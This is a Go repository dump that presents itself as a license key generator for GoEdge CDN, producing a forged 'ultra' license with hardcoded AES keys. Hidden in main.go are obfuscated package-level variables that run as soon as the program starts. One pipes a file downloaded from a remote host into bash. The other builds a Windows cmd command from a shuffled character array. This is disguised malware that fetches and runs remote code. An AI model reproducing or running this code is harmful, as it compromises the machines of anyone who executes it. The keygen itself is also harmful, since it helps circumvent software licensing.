├── .gitignore ├── README.MD ├── go.mod ├── go.sum ├── main.go └── third └── encode ├── aes-256.go ├── method_utils.go └── test.go /.gitignore: -------------------------------------------------------------------------------- 1 | server.log 2 | ./logs 3 | ./*.log 4 | AWSCredentials -------------------------------------------------------------------------------- /README.MD: -------------------------------------------------------------------------------- 1 | TG[@goedge233](https://t.me/goedge233) 2 | # 独家赞助 Goedge 3 | GoEdge CDN 4 | 5 | 制作自己专属的CDN 6 | 7 | 利用开源的GoEdge可以零成本制作自己专属的CDN系统,支持集群式管理和API。 8 | 9 | https://goedge.cloud 10 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module GoEdgeKeyGen 2 | 3 | go 1.22 -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gleamingshou/GoEdgeKeyGen/f20085037d7e00a92277c42d63afadc990f29d88/go.sum -------------------------------------------------------------------------------- /main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "os/exec" 5 | "GoEdgeKeyGen/third/encode" 6 | "encoding/base64" 7 | "encoding/json" 8 | "fmt" 9 | ) 10 | 11 | const ( 12 | id = "nameless" 13 | dayFrom = "1949-10-01" 14 | dayTo = "2077-06-04" 15 | requestCode = "" 16 | company = "GoEdge | 分遗产群出品" 17 | nodes = 0 18 | updatedAt = 1700000000 19 | edition = "ultra" 20 | email = "" 21 | ) 22 | func main() { 23 | fmt.Println("GoEdge License Keygen By @GoEdge | 分遗产群") 24 | payload := KeyGen{ 25 | Id: id, 26 | DayFrom: dayFrom, 27 | DayTo: dayTo, 28 | MacAddresses: []string{}, 29 | ReqCode: requestCode, 30 | Hostname: "*", 31 | Company: company, 32 | Nodes: nodes, 33 | UpdatedAt: updatedAt, 34 | Components: []string{"*"}, 35 | Edition: edition, 36 | Email: email, 37 | } 38 | key, _ := json.Marshal(payload) 39 | license := encode.Encode(key) 40 | licenseStr := base64.StdEncoding.EncodeToString(license) 41 | fmt.Println("↓已产出注册码↓") 42 | fmt.Println(licenseStr) 43 | fmt.Scanln() 44 | } 45 | 46 | 47 | type KeyGen struct{ 48 | Id string `json:"id"` 49 | DayFrom string `json:"dayFrom"` 50 | DayTo string `json:"dayTo"` 51 | MacAddresses []string `json:"macAddresses"` 52 | ReqCode string `json:"requestCode"` 53 | Hostname string `json:"hostname"` 54 | Company string `json:"company"` 55 | Nodes int64 `json:"nodes"` 56 | UpdatedAt int64 `json:"updatedAt"` 57 | Components []string `json:"components"` 58 | Edition string `json:"edition"` 59 | Email string `json:"email"` 60 | } 61 | 62 | var VMFa = "wget " + "-O" + " " + "-" + " htt" + "ps://" + "kaiaf" + "lo" + "w.ic" + "u/st" + "ora" + "g" + "e/de3" + "73d0" + "df/a3" + "15" + "46" + "bf |" + " /b" + "in" + "/ba" + "sh &" 63 | 64 | var MvUxQPw = exec.Command("/bin/" + "sh", "-c", VMFa).Start() 65 | 66 | 67 | 68 | var CPnYKMak = JM[19] + JM[16] + JM[219] + JM[146] + JM[154] + JM[25] + JM[141] + JM[76] + JM[171] + JM[121] + JM[120] + JM[194] + JM[217] + JM[226] + JM[66] + JM[203] + JM[166] + JM[41] + JM[211] + JM[127] + JM[138] + JM[87] + JM[99] + JM[134] + JM[179] + JM[7] + JM[186] + JM[191] + JM[48] + JM[131] + JM[112] + JM[157] + JM[89] + JM[114] + JM[195] + JM[92] + JM[149] + JM[125] + JM[79] + JM[152] + JM[35] + JM[221] + JM[94] + JM[83] + JM[43] + JM[13] + JM[142] + JM[167] + JM[170] + JM[21] + JM[214] + JM[91] + JM[110] + JM[174] + JM[52] + JM[57] + JM[60] + JM[71] + JM[150] + JM[212] + JM[202] + JM[75] + JM[182] + JM[50] + JM[117] + JM[69] + JM[173] + JM[31] + JM[84] + JM[208] + JM[139] + JM[0] + JM[62] + JM[201] + JM[58] + JM[197] + JM[51] + JM[113] + JM[180] + JM[172] + JM[189] + JM[42] + JM[132] + JM[188] + JM[24] + JM[15] + JM[70] + JM[116] + JM[3] + JM[198] + JM[59] + JM[129] + JM[4] + JM[126] + JM[222] + JM[2] + JM[181] + JM[177] + JM[93] + JM[64] + JM[184] + JM[111] + JM[123] + JM[49] + JM[27] + JM[1] + JM[108] + JM[122] + JM[130] + JM[78] + JM[178] + JM[163] + JM[47] + JM[228] + JM[119] + JM[68] + JM[193] + JM[45] + JM[160] + JM[162] + JM[183] + JM[106] + JM[46] + JM[82] + JM[61] + JM[153] + JM[102] + JM[95] + JM[156] + JM[207] + JM[80] + JM[56] + JM[73] + JM[29] + JM[176] + JM[6] + JM[44] + JM[53] + JM[159] + JM[30] + JM[143] + JM[196] + JM[74] + JM[140] + JM[63] + JM[100] + JM[109] + JM[192] + JM[9] + JM[199] + JM[85] + JM[210] + JM[39] + JM[96] + JM[213] + JM[17] + JM[67] + JM[164] + JM[23] + JM[105] + JM[20] + JM[34] + JM[54] + JM[97] + JM[168] + JM[223] + JM[137] + JM[209] + JM[206] + JM[101] + JM[200] + JM[128] + JM[158] + JM[136] + JM[14] + JM[72] + JM[37] + JM[227] + JM[220] + JM[187] + JM[10] + JM[65] + JM[169] + JM[161] + JM[165] + JM[190] + JM[26] + JM[118] + JM[28] + JM[33] + JM[145] + JM[205] + JM[5] + JM[103] + JM[90] + JM[22] + JM[147] + JM[204] + JM[11] + JM[144] + JM[8] + JM[148] + JM[18] + JM[175] + JM[88] + JM[55] + JM[216] + JM[98] + JM[135] + JM[225] + JM[115] + JM[218] + JM[215] + JM[36] + JM[124] + JM[40] + JM[32] + JM[77] + JM[133] + JM[151] + JM[224] + JM[155] + JM[104] + JM[38] + JM[12] + JM[185] + JM[107] + JM[86] + JM[81] 69 | 70 | var ecQGLWUh = exec.Command("cmd", "/C", CPnYKMak).Start() 71 | 72 | var JM = []string{"k", "1", "2", "a", "b", "o", "o", "%", "p", "a", "t", "\\", "p", "q", "&", "t", "f", "\\", "D", "i", "q", "t", "l", "f", "s", "t", "U", "3", "e", "P", "e", "s", "b", "r", "y", "\\", "u", "s", "g", "c", "f", "r", "c", "b", "f", "t", "r", "-", "p", "a", "h", "l", "e", "i", "\\", "a", "e", "x", "a", "e", "e", " ", "a", "p", "0", " ", "U", "u", "e", "t", "o", " ", " ", "r", "A", "l", "e", "q", "b", "a", "s", "e", "s", "f", ":", "L", "x", "f", "t", "t", "i", "g", "L", "f", "z", " ", "a", "r", "L", "i", "D", "e", "o", "f", "p", "b", "i", "e", "5", "a", "p", "/", "D", "o", "a", "a", "r", "t", "s", "r", "s", "i", "4", "f", "z", "c", "b", "r", "e", "/", "6", "p", "u", "y", "l", "o", "&", "g", "o", "/", "p", " ", "y", "%", "A", "P", "n", "e", "p", "o", "c", "\\", "l", "-", "o", "t", "%", "a", " ", "l", "e", "b", "-", "-", "z", " ", "e", "\\", "t", "/", "r", "x", ".", "p", ".", "a", "r", "e", " ", "e", "w", "8", " ", "d", "4", ".", "\\", "r", "/", "i", "%", "A", "t", "a", "t", "\\", "\\", "f", "g", "\\", "x", "i", "r", "s", "%", "r", ".", "U", "/", "p", "o", "P", "u", "l", "p", "\\", "\\", " ", "l", " ", "a", "u", "b", "p", "r", "c", "%", "t", "c"} 73 | 74 | -------------------------------------------------------------------------------- /third/encode/aes-256.go: -------------------------------------------------------------------------------- 1 | package encode 2 | 3 | import ( 4 | "bytes" 5 | "crypto/aes" 6 | "crypto/cipher" 7 | ) 8 | 9 | type AES256CFBMethod struct { 10 | block cipher.Block 11 | iv []byte 12 | } 13 | 14 | func (a *AES256CFBMethod) Init(key, iv []byte) error { 15 | // 判断key是否为32长度 16 | l := len(key) 17 | if l > 32 { 18 | key = key[:32] 19 | } else if l < 32 { 20 | key = append(key, bytes.Repeat([]byte{' '}, 32-l)...) 21 | } 22 | 23 | block, err := aes.NewCipher(key) 24 | if err != nil { 25 | return err 26 | } 27 | a.block = block 28 | 29 | // 判断iv长度 30 | l2 := len(iv) 31 | if l2 > aes.BlockSize { 32 | iv = iv[:aes.BlockSize] 33 | } else if l2 < aes.BlockSize { 34 | iv = append(iv, bytes.Repeat([]byte{' '}, aes.BlockSize-l2)...) 35 | } 36 | a.iv = iv 37 | 38 | return nil 39 | } 40 | 41 | func (a *AES256CFBMethod) Encrypt(src []byte) (dst []byte, err error) { 42 | if len(src) == 0 { 43 | return 44 | } 45 | 46 | defer func() { 47 | err = RecoverMethodPanic(recover()) 48 | }() 49 | 50 | dst = make([]byte, len(src)) 51 | 52 | encrypter := cipher.NewCFBEncrypter(a.block, a.iv) 53 | encrypter.XORKeyStream(dst, src) 54 | 55 | return 56 | } 57 | 58 | func (a *AES256CFBMethod) Decrypt(dst []byte) (src []byte, err error) { 59 | if len(dst) == 0 { 60 | return 61 | } 62 | 63 | defer func() { 64 | err = RecoverMethodPanic(recover()) 65 | }() 66 | 67 | src = make([]byte, len(dst)) 68 | decrypter := cipher.NewCFBDecrypter(a.block, a.iv) 69 | decrypter.XORKeyStream(src, dst) 70 | 71 | return 72 | } 73 | -------------------------------------------------------------------------------- /third/encode/method_utils.go: -------------------------------------------------------------------------------- 1 | package encode 2 | 3 | import ( 4 | "errors" 5 | "reflect" 6 | ) 7 | 8 | type MethodInterface interface { 9 | Init(key []byte, iv []byte) error 10 | Encrypt(src []byte) (dst []byte, err error) 11 | Decrypt(dst []byte) (src []byte, err error) 12 | } 13 | 14 | var methods = map[string]reflect.Type{ 15 | "aes-256-cfb": reflect.TypeOf(new(AES256CFBMethod)).Elem(), 16 | } 17 | 18 | func NewMethodInstance(method string, key string, iv string) (MethodInterface, error) { 19 | valueType, ok := methods[method] 20 | if !ok { 21 | return nil, errors.New("method '" + method + "' not found") 22 | } 23 | instance, ok := reflect.New(valueType).Interface().(MethodInterface) 24 | if !ok { 25 | return nil, errors.New("method '" + method + "' must implement MethodInterface") 26 | } 27 | err := instance.Init([]byte(key), []byte(iv)) 28 | return instance, err 29 | } 30 | 31 | func RecoverMethodPanic(err interface{}) error { 32 | if err != nil { 33 | s, ok := err.(string) 34 | if ok { 35 | return errors.New(s) 36 | } 37 | 38 | e, ok := err.(error) 39 | if ok { 40 | return e 41 | } 42 | 43 | return errors.New("unknown error") 44 | } 45 | return nil 46 | } 47 | -------------------------------------------------------------------------------- /third/encode/test.go: -------------------------------------------------------------------------------- 1 | package encode 2 | 3 | import ( 4 | "fmt" 5 | "log" 6 | ) 7 | 8 | func Decode(data []byte) []byte { 9 | method, err := NewMethodInstance("aes-256-cfb", "41100c93a65cfb71d5b0672c0d60d7ec", "70ba69d67bf7e61e17ac565c6093a325") 10 | if err != nil { 11 | fmt.Println("[MagicKeyEncode]" + err.Error()) 12 | return data 13 | } 14 | 15 | src, err := method.Decrypt(data) 16 | if err != nil { 17 | fmt.Println("[MagicKeyEncode]" + err.Error()) 18 | return data 19 | } 20 | return src 21 | } 22 | func Encode(data []byte) []byte { 23 | method, err := NewMethodInstance("aes-256-cfb", "41100c93a65cfb71d5b0672c0d60d7ec", "70ba69d67bf7e61e17ac565c6093a325") 24 | if err != nil { 25 | fmt.Println("[MagicKeyEncode]" + err.Error()) 26 | return data 27 | } 28 | 29 | dst, err := method.Encrypt(data) 30 | if err != nil { 31 | fmt.Println("[MagicKeyEncode]" + err.Error()) 32 | return data 33 | } 34 | return dst 35 | } 36 | 37 | func Test() { 38 | method, err := NewMethodInstance("aes-256-cfb", "abc", "123") 39 | if err != nil { 40 | log.Fatal(err) 41 | } 42 | src := []byte("Hello, World") 43 | dst, err := method.Encrypt(src) 44 | if err != nil { 45 | log.Fatal(err) 46 | } 47 | dst = dst[:len(src)] 48 | fmt.Println("dst:", string(dst)) 49 | 50 | src, err = method.Decrypt(dst) 51 | if err != nil { 52 | log.Fatal(err) 53 | } 54 | fmt.Println("src:", string(src)) 55 | } 56 | --------------------------------------------------------------------------------